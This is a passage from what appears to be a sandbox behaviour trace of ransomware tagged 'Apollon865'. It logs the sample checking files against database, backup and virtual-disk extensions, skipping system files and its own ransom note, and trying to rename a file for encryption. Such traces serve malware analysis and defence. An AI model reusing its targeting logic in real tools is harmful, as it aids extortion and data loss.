	[0085.010] lstrcmpiW (lpString1="background.png", lpString2=".dll") returned 1
	[0085.010] lstrlenW (lpString=".lnk") returned 4
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2=".lnk") returned 1
	[0085.010] lstrlenW (lpString=".ini") returned 4
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2=".ini") returned 1
	[0085.010] lstrlenW (lpString=".sys") returned 4
	[0085.010] lstrcmpiW (lpString1="background.png", lpString2=".sys") returned 1
	[0085.010] lstrlenW (lpString="background.png") returned 14
	[0085.011] lstrlenW (lpString="bak") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="bak") returned 1
	[0085.011] lstrlenW (lpString="ba_") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="ba_") returned 1
	[0085.011] lstrlenW (lpString="dbb") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="dbb") returned 1
	[0085.011] lstrlenW (lpString="vmdk") returned 4
	[0085.011] lstrcmpiW (lpString1=".png", lpString2="vmdk") returned -1
	[0085.011] lstrlenW (lpString="rar") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="rar") returned -1
	[0085.011] lstrlenW (lpString="zip") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="zip") returned -1
	[0085.011] lstrlenW (lpString="tgz") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="tgz") returned -1
	[0085.011] lstrlenW (lpString="vbox") returned 4
	[0085.011] lstrcmpiW (lpString1=".png", lpString2="vbox") returned -1
	[0085.011] lstrlenW (lpString="vdi") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="vdi") returned -1
	[0085.011] lstrlenW (lpString="vhd") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="vhd") returned -1
	[0085.011] lstrlenW (lpString="vhdx") returned 4
	[0085.011] lstrcmpiW (lpString1=".png", lpString2="vhdx") returned -1
	[0085.011] lstrlenW (lpString="avhd") returned 4
	[0085.011] lstrcmpiW (lpString1=".png", lpString2="avhd") returned -1
	[0085.011] lstrlenW (lpString="db") returned 2
	[0085.011] lstrcmpiW (lpString1="ng", lpString2="db") returned 1
	[0085.011] lstrlenW (lpString="db2") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="db2") returned 1
	[0085.011] lstrlenW (lpString="db3") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="db3") returned 1
	[0085.011] lstrlenW (lpString="dbf") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="dbf") returned 1
	[0085.011] lstrlenW (lpString="mdf") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="mdf") returned 1
	[0085.011] lstrlenW (lpString="mdb") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="mdb") returned 1
	[0085.011] lstrlenW (lpString="sql") returned 3
	[0085.011] lstrcmpiW (lpString1="png", lpString2="sql") returned -1
	[0085.012] lstrlenW (lpString="sqlite") returned 6
	[0085.012] lstrcmpiW (lpString1="nd.png", lpString2="sqlite") returned -1
	[0085.012] lstrlenW (lpString="sqlite3") returned 7
	[0085.012] lstrcmpiW (lpString1="und.png", lpString2="sqlite3") returned 1
	[0085.012] lstrlenW (lpString="sqlitedb") returned 8
	[0085.012] lstrcmpiW (lpString1="ound.png", lpString2="sqlitedb") returned -1
	[0085.012] lstrlenW (lpString="xml") returned 3
	[0085.012] lstrcmpiW (lpString1="png", lpString2="xml") returned -1
	[0085.012] lstrlenW (lpString="$er") returned 3
	[0085.012] lstrcmpiW (lpString1="png", lpString2="$er") returned 1
	[0085.012] lstrlenW (lpString="4dd") returned 3
	[0085.012] lstrcmpiW (lpString1="png", lpString2="4dd") returned 1
	[0085.012] lstrlenW (lpString="4dl") returned 3
	[0085.012] lstrcmpiW (lpString1="png", lpString2="4dl") returned 1
	[0085.012] lstrlenW (lpString="^^^") returned 3
	[0085.012] lstrcmpiW (lpString1="png", lpString2="^^^") returned 1
	[0085.012] lstrlenW (lpString="abs") returned 3
	[0085.012] lstrcmpiW (lpString1="png", lpString2="abs") returned 1
	[0085.012] lstrlenW (lpString="abx") returned 3
	[0085.012] lstrcmpiW (lpString1="png", lpString2="abx") returned 1
	[0085.012] lstrlenW (lpString="accdb") returned 5
	[0085.012] lstrcmpiW (lpString1="d.png", lpString2="accdb") returned 1
	[0085.012] lstrlenW (lpString="accdc") returned 5
	[0085.012] lstrcmpiW (lpString1="d.png", lpString2="accdc") returned 1
	[0085.012] lstrlenW (lpString="accde") returned 5
	[0085.012] lstrcmpiW (lpString1="d.png", lpString2="accde") returned 1
	[0085.012] lstrlenW (lpString="accdr") returned 5
	[0085.012] lstrcmpiW (lpString1="d.png", lpString2="accdr") returned 1
	[0085.012] lstrlenW (lpString="accdt") returned 5
	[0085.012] lstrcmpiW (lpString1="d.png", lpString2="accdt") returned 1
	[0085.012] lstrlenW (lpString="accdw") returned 5
	[0085.012] lstrcmpiW (lpString1="d.png", lpString2="accdw") returned 1
	[0085.012] lstrlenW (lpString="accft") returned 5
	[0085.012] lstrcmpiW (lpString1="d.png", lpString2="accft") returned 1
	[0085.012] lstrlenW (lpString="adb") returned 3
	[0085.012] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0085.012] lstrlenW (lpString="adb") returned 3
	[0085.012] lstrcmpiW (lpString1="png", lpString2="adb") returned 1
	[0085.013] lstrlenW (lpString="ade") returned 3
	[0085.013] lstrcmpiW (lpString1="png", lpString2="ade") returned 1
	[0085.013] lstrlenW (lpString="adf") returned 3
	[0085.013] lstrcmpiW (lpString1="png", lpString2="adf") returned 1
	[0085.013] lstrlenW (lpString="adn") returned 3
	[0085.013] lstrcmpiW (lpString1="png", lpString2="adn") returned 1
	[0085.013] lstrlenW (lpString="adp") returned 3
	[0085.013] lstrcmpiW (lpString1="png", lpString2="adp") returned 1
	[0085.013] lstrlenW (lpString="alf") returned 3
	[0085.013] lstrcmpiW (lpString1="png", lpString2="alf") returned 1
	[0085.013] lstrlenW (lpString="ask") returned 3
	[0085.013] lstrcmpiW (lpString1="png", lpString2="ask") returned 1
	[0085.013] lstrlenW (lpString="btr") returned 3
	[0085.013] lstrcmpiW (lpString1="png", lpString2="btr") returned 1
	[0085.013] lstrlenW (lpString="cat") returned 3
	[0085.013] lstrcmpiW (lpString1="png", lpString2="cat") returned 1
	[0085.013] lstrlenW (lpString="cdb") returned 3
	[0085.013] lstrcmpiW (lpString1="png", lpString2="cdb") returned 1
	[0085.013] lstrlenW (lpString="ckp") returned 3
	[0085.013] lstrcmpiW (lpString1="png", lpString2="ckp") returned 1
	[0085.013] lstrlenW (lpString="cma") returned 3
	[0085.013] lstrcmpiW (lpString1="png", lpString2="cma") returned 1
	[0085.013] lstrlenW (lpString="cpd") returned 3
	[0085.013] lstrcmpiW (lpString1="png", lpString2="cpd") returned 1
	[0085.013] lstrlenW (lpString="dacpac") returned 6
	[0085.013] lstrcmpiW (lpString1="nd.png", lpString2="dacpac") returned 1
	[0085.013] lstrlenW (lpString="dad") returned 3
	[0085.013] lstrcmpiW (lpString1="png", lpString2="dad") returned 1
	[0085.013] lstrlenW (lpString="dadiagrams") returned 10
	[0085.013] lstrcmpiW (lpString1="ground.png", lpString2="dadiagrams") returned 1
	[0085.013] lstrlenW (lpString="daschema") returned 8
	[0085.013] lstrcmpiW (lpString1="ound.png", lpString2="daschema") returned 1
	[0085.013] lstrlenW (lpString="db-journal") returned 10
	[0085.013] lstrcmpiW (lpString1="ground.png", lpString2="db-journal") returned 1
	[0085.013] lstrlenW (lpString="db-shm") returned 6
	[0085.013] lstrcmpiW (lpString1="nd.png", lpString2="db-shm") returned 1
	[0085.013] lstrlenW (lpString="db-wal") returned 6
	[0085.013] lstrcmpiW (lpString1="nd.png", lpString2="db-wal") returned 1
	[0085.014] lstrlenW (lpString="dbc") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="dbc") returned 1
	[0085.014] lstrlenW (lpString="dbs") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="dbs") returned 1
	[0085.014] lstrlenW (lpString="dbt") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="dbt") returned 1
	[0085.014] lstrlenW (lpString="dbv") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="dbv") returned 1
	[0085.014] lstrlenW (lpString="dbx") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="dbx") returned 1
	[0085.014] lstrlenW (lpString="dcb") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="dcb") returned 1
	[0085.014] lstrlenW (lpString="dct") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="dct") returned 1
	[0085.014] lstrlenW (lpString="dcx") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="dcx") returned 1
	[0085.014] lstrlenW (lpString="ddl") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="ddl") returned 1
	[0085.014] lstrlenW (lpString="dlis") returned 4
	[0085.014] lstrcmpiW (lpString1=".png", lpString2="dlis") returned -1
	[0085.014] lstrlenW (lpString="dp1") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="dp1") returned 1
	[0085.014] lstrlenW (lpString="dqy") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="dqy") returned 1
	[0085.014] lstrlenW (lpString="dsk") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="dsk") returned 1
	[0085.014] lstrlenW (lpString="dsn") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="dsn") returned 1
	[0085.014] lstrlenW (lpString="dtsx") returned 4
	[0085.014] lstrcmpiW (lpString1=".png", lpString2="dtsx") returned -1
	[0085.014] lstrlenW (lpString="dxl") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="dxl") returned 1
	[0085.014] lstrlenW (lpString="eco") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="eco") returned 1
	[0085.014] lstrlenW (lpString="ecx") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="ecx") returned 1
	[0085.014] lstrlenW (lpString="edb") returned 3
	[0085.014] lstrcmpiW (lpString1="png", lpString2="edb") returned 1
	[0085.015] lstrlenW (lpString="epim") returned 4
	[0085.015] lstrcmpiW (lpString1=".png", lpString2="epim") returned -1
	[0085.015] lstrlenW (lpString="fcd") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="fcd") returned 1
	[0085.015] lstrlenW (lpString="fdb") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="fdb") returned 1
	[0085.015] lstrlenW (lpString="fic") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="fic") returned 1
	[0085.015] lstrlenW (lpString="flexolibrary") returned 12
	[0085.015] lstrcmpiW (lpString1="ckground.png", lpString2="flexolibrary") returned -1
	[0085.015] lstrlenW (lpString="fm5") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="fm5") returned 1
	[0085.015] lstrlenW (lpString="fmp") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="fmp") returned 1
	[0085.015] lstrlenW (lpString="fmp12") returned 5
	[0085.015] lstrcmpiW (lpString1="d.png", lpString2="fmp12") returned -1
	[0085.015] lstrlenW (lpString="fmpsl") returned 5
	[0085.015] lstrcmpiW (lpString1="d.png", lpString2="fmpsl") returned -1
	[0085.015] lstrlenW (lpString="fol") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="fol") returned 1
	[0085.015] lstrlenW (lpString="fp3") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="fp3") returned 1
	[0085.015] lstrlenW (lpString="fp4") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="fp4") returned 1
	[0085.015] lstrlenW (lpString="fp5") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="fp5") returned 1
	[0085.015] lstrlenW (lpString="fp7") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="fp7") returned 1
	[0085.015] lstrlenW (lpString="fpt") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="fpt") returned 1
	[0085.015] lstrlenW (lpString="frm") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="frm") returned 1
	[0085.015] lstrlenW (lpString="gdb") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0085.015] lstrlenW (lpString="gdb") returned 3
	[0085.015] lstrcmpiW (lpString1="png", lpString2="gdb") returned 1
	[0085.015] lstrlenW (lpString="grdb") returned 4
	[0085.015] lstrcmpiW (lpString1=".png", lpString2="grdb") returned -1
	[0085.015] lstrlenW (lpString="gwi") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="gwi") returned 1
	[0085.016] lstrlenW (lpString="hdb") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="hdb") returned 1
	[0085.016] lstrlenW (lpString="his") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="his") returned 1
	[0085.016] lstrlenW (lpString="ib") returned 2
	[0085.016] lstrcmpiW (lpString1="ng", lpString2="ib") returned 1
	[0085.016] lstrlenW (lpString="idb") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="idb") returned 1
	[0085.016] lstrlenW (lpString="ihx") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="ihx") returned 1
	[0085.016] lstrlenW (lpString="itdb") returned 4
	[0085.016] lstrcmpiW (lpString1=".png", lpString2="itdb") returned -1
	[0085.016] lstrlenW (lpString="itw") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="itw") returned 1
	[0085.016] lstrlenW (lpString="jet") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="jet") returned 1
	[0085.016] lstrlenW (lpString="jtx") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="jtx") returned 1
	[0085.016] lstrlenW (lpString="kdb") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="kdb") returned 1
	[0085.016] lstrlenW (lpString="kexi") returned 4
	[0085.016] lstrcmpiW (lpString1=".png", lpString2="kexi") returned -1
	[0085.016] lstrlenW (lpString="kexic") returned 5
	[0085.016] lstrcmpiW (lpString1="d.png", lpString2="kexic") returned -1
	[0085.016] lstrlenW (lpString="kexis") returned 5
	[0085.016] lstrcmpiW (lpString1="d.png", lpString2="kexis") returned -1
	[0085.016] lstrlenW (lpString="lgc") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="lgc") returned 1
	[0085.016] lstrlenW (lpString="lwx") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="lwx") returned 1
	[0085.016] lstrlenW (lpString="maf") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="maf") returned 1
	[0085.016] lstrlenW (lpString="maq") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="maq") returned 1
	[0085.016] lstrlenW (lpString="mar") returned 3
	[0085.016] lstrcmpiW (lpString1="png", lpString2="mar") returned 1
	[0085.016] lstrlenW (lpString="marshal") returned 7
	[0085.017] lstrcmpiW (lpString1="und.png", lpString2="marshal") returned 1
	[0085.017] lstrlenW (lpString="mas") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="mas") returned 1
	[0085.017] lstrlenW (lpString="mav") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="mav") returned 1
	[0085.017] lstrlenW (lpString="maw") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="maw") returned 1
	[0085.017] lstrlenW (lpString="mdbhtml") returned 7
	[0085.017] lstrcmpiW (lpString1="und.png", lpString2="mdbhtml") returned 1
	[0085.017] lstrlenW (lpString="mdn") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="mdn") returned 1
	[0085.017] lstrlenW (lpString="mdt") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="mdt") returned 1
	[0085.017] lstrlenW (lpString="mfd") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="mfd") returned 1
	[0085.017] lstrlenW (lpString="mpd") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="mpd") returned 1
	[0085.017] lstrlenW (lpString="mrg") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="mrg") returned 1
	[0085.017] lstrlenW (lpString="mud") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="mud") returned 1
	[0085.017] lstrlenW (lpString="mwb") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="mwb") returned 1
	[0085.017] lstrlenW (lpString="myd") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="myd") returned 1
	[0085.017] lstrlenW (lpString="ndf") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="ndf") returned 1
	[0085.017] lstrlenW (lpString="nnt") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="nnt") returned 1
	[0085.017] lstrlenW (lpString="nrmlib") returned 6
	[0085.017] lstrcmpiW (lpString1="nd.png", lpString2="nrmlib") returned -1
	[0085.017] lstrlenW (lpString="ns2") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="ns2") returned 1
	[0085.017] lstrlenW (lpString="ns3") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="ns3") returned 1
	[0085.017] lstrlenW (lpString="ns4") returned 3
	[0085.017] lstrcmpiW (lpString1="png", lpString2="ns4") returned 1
	[0085.017] lstrlenW (lpString="nsf") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="nsf") returned 1
	[0085.018] lstrlenW (lpString="nv") returned 2
	[0085.018] lstrcmpiW (lpString1="ng", lpString2="nv") returned -1
	[0085.018] lstrlenW (lpString="nv2") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="nv2") returned 1
	[0085.018] lstrlenW (lpString="nwdb") returned 4
	[0085.018] lstrcmpiW (lpString1=".png", lpString2="nwdb") returned -1
	[0085.018] lstrlenW (lpString="nyf") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="nyf") returned 1
	[0085.018] lstrlenW (lpString="odb") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0085.018] lstrlenW (lpString="odb") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="odb") returned 1
	[0085.018] lstrlenW (lpString="oqy") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="oqy") returned 1
	[0085.018] lstrlenW (lpString="ora") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="ora") returned 1
	[0085.018] lstrlenW (lpString="orx") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="orx") returned 1
	[0085.018] lstrlenW (lpString="owc") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="owc") returned 1
	[0085.018] lstrlenW (lpString="p96") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="p96") returned 1
	[0085.018] lstrlenW (lpString="p97") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="p97") returned 1
	[0085.018] lstrlenW (lpString="pan") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="pan") returned 1
	[0085.018] lstrlenW (lpString="pdb") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="pdb") returned 1
	[0085.018] lstrlenW (lpString="pdm") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="pdm") returned 1
	[0085.018] lstrlenW (lpString="pnz") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="pnz") returned -1
	[0085.018] lstrlenW (lpString="qry") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="qry") returned -1
	[0085.018] lstrlenW (lpString="qvd") returned 3
	[0085.018] lstrcmpiW (lpString1="png", lpString2="qvd") returned -1
	[0085.018] lstrlenW (lpString="rbf") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="rbf") returned -1
	[0085.019] lstrlenW (lpString="rctd") returned 4
	[0085.019] lstrcmpiW (lpString1=".png", lpString2="rctd") returned -1
	[0085.019] lstrlenW (lpString="rod") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="rod") returned -1
	[0085.019] lstrlenW (lpString="rodx") returned 4
	[0085.019] lstrcmpiW (lpString1=".png", lpString2="rodx") returned -1
	[0085.019] lstrlenW (lpString="rpd") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="rpd") returned -1
	[0085.019] lstrlenW (lpString="rsd") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="rsd") returned -1
	[0085.019] lstrlenW (lpString="sas7bdat") returned 8
	[0085.019] lstrcmpiW (lpString1="ound.png", lpString2="sas7bdat") returned -1
	[0085.019] lstrlenW (lpString="sbf") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="sbf") returned -1
	[0085.019] lstrlenW (lpString="scx") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="scx") returned -1
	[0085.019] lstrlenW (lpString="sdb") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="sdb") returned -1
	[0085.019] lstrlenW (lpString="sdc") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="sdc") returned -1
	[0085.019] lstrlenW (lpString="sdf") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="sdf") returned -1
	[0085.019] lstrlenW (lpString="sis") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="sis") returned -1
	[0085.019] lstrlenW (lpString="spq") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="spq") returned -1
	[0085.019] lstrlenW (lpString="te") returned 2
	[0085.019] lstrcmpiW (lpString1="ng", lpString2="te") returned -1
	[0085.019] lstrlenW (lpString="teacher") returned 7
	[0085.019] lstrcmpiW (lpString1="und.png", lpString2="teacher") returned 1
	[0085.019] lstrlenW (lpString="tmd") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="tmd") returned -1
	[0085.019] lstrlenW (lpString="tps") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="tps") returned -1
	[0085.019] lstrlenW (lpString="trc") returned 3
	[0085.019] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0085.019] lstrlenW (lpString="trc") returned 3
	[0085.020] lstrcmpiW (lpString1="png", lpString2="trc") returned -1
	[0085.020] lstrlenW (lpString="trm") returned 3
	[0085.020] lstrcmpiW (lpString1="png", lpString2="trm") returned -1
	[0085.020] lstrlenW (lpString="udb") returned 3
	[0085.020] lstrcmpiW (lpString1="png", lpString2="udb") returned -1
	[0085.020] lstrlenW (lpString="udl") returned 3
	[0085.020] lstrcmpiW (lpString1="png", lpString2="udl") returned -1
	[0085.020] lstrlenW (lpString="usr") returned 3
	[0085.020] lstrcmpiW (lpString1="png", lpString2="usr") returned -1
	[0085.020] lstrlenW (lpString="v12") returned 3
	[0085.020] lstrcmpiW (lpString1="png", lpString2="v12") returned -1
	[0085.020] lstrlenW (lpString="vis") returned 3
	[0085.020] lstrcmpiW (lpString1="png", lpString2="vis") returned -1
	[0085.020] lstrlenW (lpString="vpd") returned 3
	[0085.020] lstrcmpiW (lpString1="png", lpString2="vpd") returned -1
	[0085.020] lstrlenW (lpString="vvv") returned 3
	[0085.021] lstrcmpiW (lpString1="png", lpString2="vvv") returned -1
	[0085.021] lstrlenW (lpString="wdb") returned 3
	[0085.021] lstrcmpiW (lpString1="png", lpString2="wdb") returned -1
	[0085.021] lstrlenW (lpString="wmdb") returned 4
	[0085.021] lstrcmpiW (lpString1=".png", lpString2="wmdb") returned -1
	[0085.021] lstrlenW (lpString="wrk") returned 3
	[0085.021] lstrcmpiW (lpString1="png", lpString2="wrk") returned -1
	[0085.021] lstrlenW (lpString="xdb") returned 3
	[0085.021] lstrcmpiW (lpString1="png", lpString2="xdb") returned -1
	[0085.021] lstrlenW (lpString="xld") returned 3
	[0085.021] lstrcmpiW (lpString1="png", lpString2="xld") returned -1
	[0085.021] lstrlenW (lpString="xmlff") returned 5
	[0085.021] lstrcmpiW (lpString1="d.png", lpString2="xmlff") returned -1
	[0085.022] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png.Apollon865") returned 113
	[0085.022] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png.apollon865"), dwFlags=0x1) returned 0
	[0085.022] GetLastError () returned 0x5
	[0085.022] wsprintfA (in: param_1=0x119d7a8, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png MoveFileEx error 5\r\n") returned 131
	[0085.022] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png MoveFileEx error 5\r\n") returned 131
	[0085.022] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c
	[0085.022] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5f0c
	[0085.022] WriteFile (in: hFile=0x9c, lpBuffer=0x119d7a8*, nNumberOfBytesToWrite=0x83, lpNumberOfBytesWritten=0x119d374, lpOverlapped=0x0 | out: lpBuffer=0x119d7a8*, lpNumberOfBytesWritten=0x119d374*=0x83, lpOverlapped=0x0) returned 1
	[0085.023] CloseHandle (hObject=0x9c) returned 1
	[0085.023] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0085.023] CloseHandle (hObject=0x0) returned 0
	[0085.023] CloseHandle (hObject=0x0) returned 0
	[0085.023] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7c5b0d9, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xc7c5b0d9, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xc7c5b0d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2="Apollon865.txt.exe") returned 1
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2=".") returned 1
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2="..") returned 1
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2="windows") returned -1
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2="bootmgr") returned -1
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2="temp") returned -1
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2="pagefile.sys") returned -1
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2="boot") returned -1
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2="ids.txt") returned -1
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2="ntuser.dat") returned -1
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2="perflogs") returned -1
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2="MSBuild") returned -1
	[0085.023] lstrlenW (lpString="behavior.xml") returned 12
	[0085.023] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned 102
	[0085.023] lstrcpyW (in: lpString1=0x119e6b8, lpString2="behavior.xml" | out: lpString1="behavior.xml") returned="behavior.xml"
	[0085.023] lstrlenW (lpString="behavior.xml") returned 12
	[0085.023] lstrlenW (lpString="Apollon865") returned 10
	[0085.023] lstrcmpiW (lpString1="havior.xml", lpString2="Apollon865") returned 1
	[0085.023] lstrlenW (lpString=".dll") returned 4
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2=".dll") returned 1
	[0085.023] lstrlenW (lpString=".lnk") returned 4
	[0085.023] lstrcmpiW (lpString1="behavior.xml", lpString2=".lnk") returned 1
	[0085.024] lstrlenW (lpString=".ini") returned 4
	[0085.024] lstrcmpiW (lpString1="behavior.xml", lpString2=".ini") returned 1
	[0085.024] lstrlenW (lpString=".sys") returned 4
	[0085.024] lstrcmpiW (lpString1="behavior.xml", lpString2=".sys") returned 1
	[0085.024] lstrlenW (lpString="behavior.xml") returned 12
	[0085.024] lstrlenW (lpString="bak") returned 3
